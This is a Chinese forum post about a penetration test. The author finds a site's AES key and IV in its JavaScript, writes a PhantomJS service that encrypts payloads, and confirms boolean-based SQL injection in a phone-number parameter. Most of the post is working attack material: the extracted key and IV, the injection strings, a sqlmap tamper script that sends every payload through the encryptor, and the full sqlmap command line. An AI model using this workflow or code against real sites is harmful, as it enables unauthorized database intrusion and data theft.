电脑疯子技术论坛|电脑极客社区

微信扫一扫 分享朋友圈

已有 444 人浏览分享

外网打点之SQL注入-突破加密传输

[复制链接]
444 0
## 0x01:解决加密传输

在进行常规渗透测试时,发现任何传输都是被加密过的

QQ截图20220627104642.png

遇到此类情况,建议翻翻JS来寻找加密规则

右键-审查元素-event 可以快速定位到相关js代码

遇到此类情况,建议翻翻JS来寻找加密规则

5621.png

如图,可以发现当点击按钮时,会执行ForgetPwd.sendCode() 即ForgetPwd变量中的sendCode()函数

格式化JS代码后

QQ截图20220627105842.png

可以看见使用了aes_encrypt函数对传入的值进行加密

但在当前JS中未搜寻到该函数声明。于是可以推算出是包含在另一个JS文件

999.png

在aes.js 中搜寻到了秘钥及偏移量,填充,模式
秘钥:d49d691f234441add2f610d5d11f6aad
偏移量:b883b5ec8ca259692869ada4b72dc6f5
填充:zeropadding
模式:CBC
先用在线AES解密网站试试

QQ截图20220627110704.png

## 0x02 编写解密程序
然后为了方便渗透测,我这里用了phantomjs来写出解密程序

jsEncrypter_base.js:
```
var webserver = require('webserver');
server = webserver.create();
var host = '127.0.0.1';
var port = '1664';
// 加载实现加密算法的js脚本
var wasSuccessful = phantom.injectJs('aes.js') && phantom.injectJs('pad-zeropadding.js');
// 处理函数
function js_encrypt(payload){
/*********************************************************/
var AesKey = "d49d691f234441add2f610d5d11f6aad";
var CBCIV = "b883b5ec8ca259692869ada4b72dc6f5";
var CBCOptions = {
iv: CryptoJS.enc.Utf8.parse(CBCIV),
mode:CryptoJS.mode.CBC,
padding: CryptoJS.pad.ZeroPadding
}

var key = CryptoJS.enc.Utf8.parse(AesKey);
var secretData = CryptoJS.enc.Utf8.parse(payload);
var encrypted = CryptoJS.AES.encrypt(
secretData,
key,
CBCOptions
);
return encrypted.toString();
/*********************************************************/
}

if(wasSuccessful){
console.log("
  • load js successful");
    console.log("[!] ^_^");
    console.log("
  • jsEncrypterJS start!");
    console.log("[+] address: http://"+host+":"+port);
    }else{
    console.log('
  • load js fail!');
    }

    var service = server.listen(host+':'+port,function(request, response){
    try{
    if(request.method == 'POST'){
    var payload = request.post['payload'];
    var encrypt_payload = js_encrypt(payload);
    console.log('[+] ' + payload + ':' + encrypt_payload);
    response.statusCode = 200;
    response.write(encrypt_payload.toString());
    response.close();
    }else{
    response.statusCode = 200;
    response.write("^_^\n\rhello jsEncrypter!");
    response.close();
    }
    }catch(e){
    console.log('\n-----------------Error Info--------------------')
    var fullMessage = "Message: "+e.toString() + ':'+ e.line;
    for (var p in e) {
    fullMessage += "\n" + p.toUpperCase() + ": " + e[p];
    }
    console.log(fullMessage);
    console.log('---------------------------------------------')
    console.log('
  • phantomJS exit!')
    phantom.exit();
    }
    });
    ```
    然后运行 phantomjs.exe jsEncrypter_base.js,并利用jsEncrypter插件来测试

    998.png

    ## 0x03 挖掘漏洞
    先前解密成功后 我就开始手注了几个简单的payload 但回显不同,所以可以确定验证
    手机号此处是存在注入点的

    比如

    phone=16742264301'and '1'='0'&lang=zh

    996.png



    phone=16742264301'and '1'='1'&lang=zh

    899.png

    这个时候就面临两个选择,选择和sqlmap对接 or 用我自己半个月前写的盲注脚本 不过盲注脚本还需
    要二改 用的也不是像sqlmap那样二分法注入 很浪费时间,所以只能用sqlmap的

    但sqlmap默认是没有这种加密脚本的,So 还得自己写个tamper

    Aes.py:

    ```
    import base64
    import requests
    from Crypto.Cipher import AES
    from lib.core.enums import PRIORITY
    from lib.core.settings import UNICODE_ENCODING
    __priority__ = PRIORITY.LOW

    def encrypt(text):
    url = 'http://127.0.0.1:1664'
    data = {'payload':'phone=16742264301%s #&lang=zh'%str(text).replace('b','')}
    r =requests.post(url,data)
    return r.text
    def dependencies():
    pass
    def tamper(payload, **kwargs):
    payload=encrypt((payload).encode('utf-8'))
    return payload
    ```
    注:需配合上述所写的解密程序使用
    最后
    python sqlmap.py -r 1.txt --tamper aes.py,lowercase.py,equaltolike.py --dbms mysql --prox
    y http://127.0.0.1:8080 --force-ssl --risk 3 --tech B --skip-urlencode --level 3

    898.png

  • 您需要登录后才可以回帖 登录 | 注册

    本版积分规则

    1

    关注

    0

    粉丝

    9021

    主题
    精彩推荐
    热门资讯
    网友晒图
    图文推荐

    Powered by Pcgho! X3.4

    © 2008-2022 Pcgho Inc.